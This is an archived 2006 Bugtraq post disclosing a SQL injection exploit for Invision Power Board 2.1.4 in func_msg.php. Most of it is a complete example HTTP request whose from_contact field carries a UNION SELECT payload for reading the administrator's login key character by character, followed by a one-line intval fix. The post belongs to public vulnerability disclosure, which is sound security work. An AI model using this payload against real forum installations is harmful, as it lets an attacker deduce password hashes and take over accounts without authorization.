bugtraq - SQL injection exploit IPB <= 2.1.4

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060427160508.3746.qmail@securityfocus.com>
Date: 27 Apr 2006 16:05:08 -0000
From: satanchild123@...mail.com
To: bugtraq@...urityfocus.com
Subject: SQL injection exploit IPB <= 2.1.4


This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested.

Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful).

To exploit this, make a request to send a PM, but include a value in the request so that 

from_contact=<SQL INJECTION>

Here is an example request:

Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en,en-us;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/ipb/index.php?act=msg
Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109
Content-Type: application/x-www-form-urlencoded
Content-Length: 438

removeattachid=0&OID=&act=Msg&CODE=04&MODE=01&post_key=1f40fdcbdc94fc9c1a402e2019f2b314&auth_key=bcb2b3362c8fa575e58cd376ab4fb6be&MAX_FILE_SIZE=51200000&entered_name=asdfasdfasdf&carbon_copy=&msg_title=asdfasdfasdf&ffont=0&fsize=0&Post=asdfasdfasdfasdfasdf&from_contact=-1+UNION+SELECT+0%2C+CHAR%28110%2C117%2C116%2C105%2C99%2C117%2C108%2C117%2C115%29+FROM+ibf_members+WHERE+id%3D1+AND+MID%28member_login_key%2C+2%2C+1%29+%3D+CHAR%2848%29

Using an injection like this someone's pass hash could be easily deduced.

Simple fix: intval($this->to_by_id)